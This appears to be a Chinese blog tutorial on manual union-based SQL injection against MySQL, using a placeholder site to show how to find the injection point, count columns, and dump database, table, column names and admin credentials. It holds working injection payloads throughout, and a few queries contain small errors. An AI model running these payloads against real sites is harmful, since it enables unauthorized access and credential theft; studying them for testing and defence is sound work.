sql注入——手工注入mysql數據庫

手動sql注入流程:

1.判斷注入點
2.判斷字段數
3.判斷可顯字段位置
4.爆庫名
5.爆表
6.爆字段
7.爆內容	

實驗環境
滲透網站:www.abc.com (已查明沒有此網站,這裏只是舉個例子)
www.abc.com?id=123 是該網站的後臺提交頁面。
此次查詢的字段數是4個。數據庫=gov,表=admin,username=root,password=123456.

思路:我們要在數據庫查詢出我們想要的內容,就需要知道表名和字段名。如:select username,password from admin;
要知道字段名<-表名<-庫名

1.判斷注入點

www.abc.com?id=123 and 1=1 		網頁沒報錯
www.abc.com?id=123 and 1=2	 	網頁報錯

由此可見www.abc.com?id=123是注入點。
2.判斷字段數
order by 判斷此次查詢有幾個字段。

www.abc.com?id=123 order by 4	判斷出此次查詢字段數是4個

3.爆可顯字段。
union聯合查詢可以判斷出可顯字段。

www.abc.com?id=123 and 1=2 union select  1,2,3,4 ; 
判斷出2、3號位是可顯字段

4.爆庫名
這裏利用可顯字段爆出數據庫名字、版本等信息。

www.abc.com?id=123 and 1=2 union select 1,version(),group_concat(database(),user()),4;
由此爆出數據庫版本5.1、數據庫用戶root、數據庫名稱gov。

5.爆表

www.abc.com?id=123 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema =  "gov"
這裏爆出表admin

MySQL數據庫中的information_schema介紹。

information_schema包含了mysql所有的庫、表、列的相關信息	(數據庫)
tables	存放了所有表的信息。在這裏查表名	(表)
columns	存放了所有列的信息。在這裏查列名	(表)
table_name	表名	(字段)
column_name	列名	(字段)
table_schema 庫名	(字段)

幫助理解:tables中保存了所有表信息,所以要查表名可以從tables中查詢,但tables表中有很多表,所以通過table_schema庫名來篩選我們是要查的是哪張表。
注:
group_concat函數
作用:將內容集中顯示。
語法:group_concat(str1,str2,…)
返回結果爲拼接字符串,若有一個參數爲null,則返回值爲null。

爆字段

www.abc.com?id=123 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.column where table_name = "admin"
這裏爆出字段username、password

爆內容
現在數據庫名、表名、字段(列名)都有了,就可以查詢內容了。

www.abc.com?id=123 and 1=2 union select 1,group_concat(username,password),4 from admin;
這裏爆出username=root password=123456

此時就爆出了數據庫裏的用戶名和密碼了,但是實戰當中表中存的用戶名和密碼可能很多,雜亂無章不好查看。
在這裏插入圖片描述
可以使用以下技巧一遍查看。
技巧:
0x3a 是16進制,在ascll碼中表示冒號
可以添加冒號和換行來方便查看。
冒號(:)在ascll碼中的十六進制表示爲**0x3a;
html中
換行符**(<hr/>)在ascll碼中的十六進制表示爲0x3C,0x68,0x72,0x2F,0x3E
例:
select group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from user;
效果類似於下圖:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章